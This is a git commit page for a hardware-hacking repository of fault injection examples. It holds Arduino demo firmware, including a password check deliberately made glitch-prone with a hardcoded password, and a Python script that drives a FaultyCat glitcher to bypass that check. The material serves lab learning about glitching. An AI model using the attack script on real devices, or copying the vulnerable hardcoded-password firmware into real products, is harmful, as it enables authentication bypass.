initial commit
1 parent bb3752a commit 952c6e1f551d95b158114a6af99629fa08a9e108
0xRoM authored on 11 Feb
Showing 27 changed files
View
4
FaultInjection/README.md 0 → 100644
Fault Injection
===============
 
Dump of useful fault injection / glitching scripts and examples
View
FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png 0 → 100644
View
17
FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino 0 → 100644
#include <SoftwareSerial.h>
 
#define RX 3 // *** D3, Pin 2
#define TX 4 // *** D4, Pin 3
SoftwareSerial Serial(RX, TX);
 
void setup(){
Serial.begin(9600);
Serial.println("Initializing...");
}
 
void loop() {
// put your main code here, to run repeatedly:
Serial.println("running");
delay(1000);
}
View
38
FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino 0 → 100644
#include <SoftwareSerial.h>
 
#define RX 3 // *** D3, Pin 2
#define TX 4 // *** D4, Pin 3
SoftwareSerial Serial(RX, TX);
 
void setup() {
Serial.begin(9600);
Serial.println(" ");
Serial.println("Initializing...");
delay(2000); // Delay to give time for the setup message
}
 
void loop() {
static int dotCount = 0; // Keeps track of how many dots are printed
// Create the base "running" message followed by spaces to clear previous dots
Serial.print("running");
// Add the appropriate number of dots
for (int i = 0; i < dotCount; i++) {
Serial.print(".");
}
// Clear any extra dots from previous loops by adding spaces
for (int i = dotCount; i < 3; i++) {
Serial.print(" ");
}
// Use carriage return to overwrite the line on the next iteration
Serial.print("\r");
 
// Update the dot count, cycling from 0 to 3
dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots
delay(1000); // 1-second delay before updating
}
View
63
FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino 0 → 100644
#include <SoftwareSerial.h>
 
#define RX 3 // *** D3, Pin 2
#define TX 4 // *** D4, Pin 3
SoftwareSerial Serial(RX, TX);
 
void setup() {
Serial.begin(9600);
Serial.println(" ");
Serial.println("Initializing...");
randomSeed(analogRead(0)); // Seed the random number generator for more randomness
delay(2000); // Delay for initialization
}
 
void loop() {
// Generate one random number and assign it to both variables
volatile int originalNumber = random(10, 100);
volatile int num1 = originalNumber;
volatile int num2 = originalNumber;
 
// Perform reversible operations to increase glitch susceptibility but keep values comparable
num1 = num1 ^ 0x55; // XOR num1 with 0x55
num2 = num2 ^ 0x55; // XOR num2 with 0x55
delayMicroseconds(5); // Critical timing for glitches
 
num1 = num1 ^ 0x55; // XOR again to reverse
num2 = num2 ^ 0x55; // XOR again to reverse
 
delayMicroseconds(5); // Another critical timing for glitches
 
// Extract the first and second digits
volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1
volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1
 
delayMicroseconds(5); // More chances for glitches
volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2
volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2
 
delayMicroseconds(5); // Increased vulnerability
 
// Check if the numbers still match after the potential glitch
int match = 0;
if (num1FirstDigit == num2FirstDigit) {
if (num1SecondDigit == num2SecondDigit) {
match = 1;
}
}
if (match == 1) {
Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
} else {
Serial.print("Glitch detected! Numbers do not match: ");
Serial.print(num1); Serial.print(" "); Serial.print(num2);
Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
Serial.println(" ");
}
delay(100); // Shorter delay to increase glitch detection chances
}
View
FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png 0 → 100644
View
201
FaultInjection/examples/FaultyCat/03_password_check/attack.py 0 → 100644
import sys
import time
import pexpect # Required to handle screen sessions
import threading
from Modules import Worker
 
DEFAULT_COMPORT = "/dev/ttyACM0"
SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name
 
# Initialize the FaultyWorker
faulty_worker = Worker.FaultyWorker()
# Shared variable to store the response from the device
device_response = None
child = None # Global child variable
 
def initialize_child():
"""Initialize the global child process for the screen session."""
global child
child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer
 
def send_test_message_and_read_response():
"""Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
global child
 
# Send 'ping' to the screen session
child.sendline("ping")
sys.stdout.write("\rSent 'ping' to screen session.")
sys.stdout.flush()
 
# Wait a bit to ensure the command is processed
time.sleep(0.5)
 
# Try reading any new output from the screen session
try:
response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data
if "pong" in response:
sys.stdout.write("\rReceived 'pong' response.")
return True
else:
sys.stdout.write(f"\rReceived unexpected response: {response}")
sys.stdout.flush()
except pexpect.exceptions.TIMEOUT:
sys.stdout.write("\rNo response received from the screen session (timeout).")
sys.stdout.flush()
 
return False
 
def read_screen_output():
"""Read output from the screen session in a separate thread."""
global device_response
buffer = "" # Initialize a buffer to store incoming characters
 
try:
while True:
response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data
buffer += response # Append the new response to the buffer
# Check if there's a complete line in the buffer
while "\n" in buffer:
line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline
line = line.strip() # Remove any leading/trailing whitespace
 
# Check for specific responses
if "incorrect!" in line:
#sys.stdout.write("\rReceived 'incorrect' response.")
device_response = 'incorrect'
return # Exit the loop on incorrect response
elif "correct" in line:
# Die here: Echo message, disarm device, and kill the program
sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
sys.stdout.flush()
 
# Disarm the board
faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
faulty_worker.board_uart.close()
 
# Exit the program
sys.exit(0)
 
else:
sys.stdout.write(f"\rReceived unexpected response: {line}")
sys.stdout.flush()
 
except pexpect.exceptions.TIMEOUT:
sys.stdout.write("\rNo response received from the screen session (timeout).")
sys.stdout.flush()
except Exception as e:
sys.stdout.write(f"\rError reading from screen session: {e}")
sys.stdout.flush()
 
def send_pulse_and_check_response():
"""Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
global device_response
try:
# Wait a bit to ensure the command is processed
 
# Send 'incorrectPassword' command to the screen session
sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
sys.stdout.flush()
child.sendline("incorrectPassword")
time.sleep(0.35)
 
# Send 'pulse' command (simulating the pulse trigger)
faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
sys.stdout.write("\rSent pulse...")
sys.stdout.flush()
 
# Start a thread to read the screen output
reader_thread = threading.Thread(target=read_screen_output)
reader_thread.start()
 
# Wait for the reading thread to complete
reader_thread.join()
except Exception as e:
sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
sys.stdout.flush()
return False
 
def start_faulty_attack():
"""Send a pulse through the FaultyCat and listen for the response concurrently."""
global child
try:
# Initialize the child process for screen session
initialize_child()
 
# Open FaultyCat connection
faulty_worker.board_uart.open()
time.sleep(0.1)
sys.stdout.write("\rBoard connected.\n")
sys.stdout.flush()
 
# Arming the board
sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
sys.stdout.flush()
faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
time.sleep(1)
faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
 
sys.stdout.write("\r[*] ARMED BOARD.\n")
sys.stdout.flush()
time.sleep(1)
 
# Sending pulses and checking responses in a loop (up to 5 times)
max_iterations = 5
for i in range(max_iterations):
sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
sys.stdout.flush()
 
# Send the test message and check for pong
if send_test_message_and_read_response():
 
max_iterations_2 = 3
for j in range(max_iterations_2):
# Send pulse and check for correct/incorrect response
if send_pulse_and_check_response():
break # Break the loop if 'correct!' is received
 
# Small delay before next iteration
time.sleep(1)
 
# Disarm the board
sys.stdout.write("\rDISARMING BOARD. \n")
sys.stdout.flush()
faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
faulty_worker.board_uart.close()
sys.stdout.write("\rBOARD DISARMED.\n")
sys.stdout.flush()
except Exception as e:
sys.stdout.write(f"\rError: {e}\n")
sys.stdout.flush()
finally:
# Make sure to clean up the child process
if child:
child.close()
 
def faulty():
"""Configure and send pulses through the FaultyCat."""
comport = DEFAULT_COMPORT
 
print("Configuring the FaultyCat...")
print(f"Using serial port: {comport}")
 
# Set the serial port
faulty_worker.set_serial_port(comport)
 
# Validate the serial connection
if not faulty_worker.validate_serial_connection():
print(f"Error: Could not establish connection on: {comport}")
return
 
# Start the faulty attack (send pulse)
start_faulty_attack()
 
if __name__ == "__main__":
print("Starting FaultyCat...")
faulty()
View
84
FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino 0 → 100644
#include <SoftwareSerial.h>
 
#define RX 3 // *** D3, Pin 2
#define TX 4 // *** D4, Pin 3
SoftwareSerial Serial(RX, TX);
 
const String correctPassword = "secure123"; // Hardcoded password
String inputString = ""; // Variable to hold user input
bool stringComplete = false; // Flag to indicate when a string is complete
bool loggedIn = false;
 
void setup() {
Serial.begin(9600);
Serial.println(" ");
Serial.println("Initializing...");
delay(200); // Delay for initialization
Serial.print("[-]> ");
}
 
void prompt(){
// Reset for the next input without checking password
inputString = "";
stringComplete = false;
if(loggedIn == false){
Serial.print("[-]"); // not logged in
}else{
Serial.print("[+]"); // logged in
}
Serial.print("> ");
}
 
void loop() {
// If the string is complete, process the input
if (stringComplete) {
// Glitch-prone section: making the comparison more complex and glitch-susceptible
volatile bool match = false; // Using 'volatile' to increase glitch vulnerability
// Introduce some artificial delays (vulnerable points for glitching)
for (volatile int i = 0; i < 100; i++) {
delayMicroseconds(1); // Short delay to give more opportunity for glitches
}
// Dummy operation: XOR password with itself (reversible) before comparison
volatile String tempPassword = correctPassword;
for (int i = 0; i < tempPassword.length(); i++) {
tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity)
tempPassword[i] ^= 0xFF; // XOR back to restore original password
}
 
// Check if input is "ping"
if (inputString == "ping") {
Serial.println("pong"); // Respond with "pong" if input is "ping"
prompt();
return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
}
// Now compare the user input with the hardcoded password, but with timing window
else if (inputString == correctPassword) {
match = true; // Passwords match
}
 
// Add a chance for glitches to affect this critical condition
if (match) {
Serial.println("Password correct!");
loggedIn = true;
} else {
Serial.println("Password incorrect!");
}
prompt();
}
 
// Listen for input from the user
while (Serial.available()) {
char inChar = (char)Serial.read(); // Read the incoming character
// Check if it is the return character (indicating the end of input)
if (inChar == '\r' || inChar == '\n') {
stringComplete = true;
} else {
// Append the character to the input string
inputString += inChar;
}
}
}
View
FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png 0 → 100644
View
FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py 0 → 100644
View
FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py 0 → 100644
View
FaultInjection/prereqs/FaultyCat/Modules/UART.py 0 → 100644
View
FaultInjection/prereqs/FaultyCat/Modules/Worker.py 0 → 100644
View
FaultInjection/prereqs/FaultyCat/Modules/__init__.py 0 → 100644
View
FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc 0 → 100644
Not supported
View
FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc 0 → 100644
Not supported
View
FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc 0 → 100644
Not supported
View
FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc 0 → 100644
Not supported
View
FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc 0 → 100644
Not supported
View
FaultInjection/prereqs/FaultyCat/faultycmd.py 0 → 100644
View
FaultInjection/prereqs/FaultyCat/requirements.txt 0 → 100644
View
README.md 100644 → 0
View
SideChannel/ATtiny85_Timing_Attack/4_digit.ino 0 → 100644
View
SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py 0 → 100644
View
SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg 0 → 100644
View
SideChannel/ATtiny85_Timing_Attack/multi_digit.ino 0 → 100644
View
SideChannel/ATtiny85_Timing_Attack/multi_digit_attack.py 0 → 100644
Buy Me A Coffee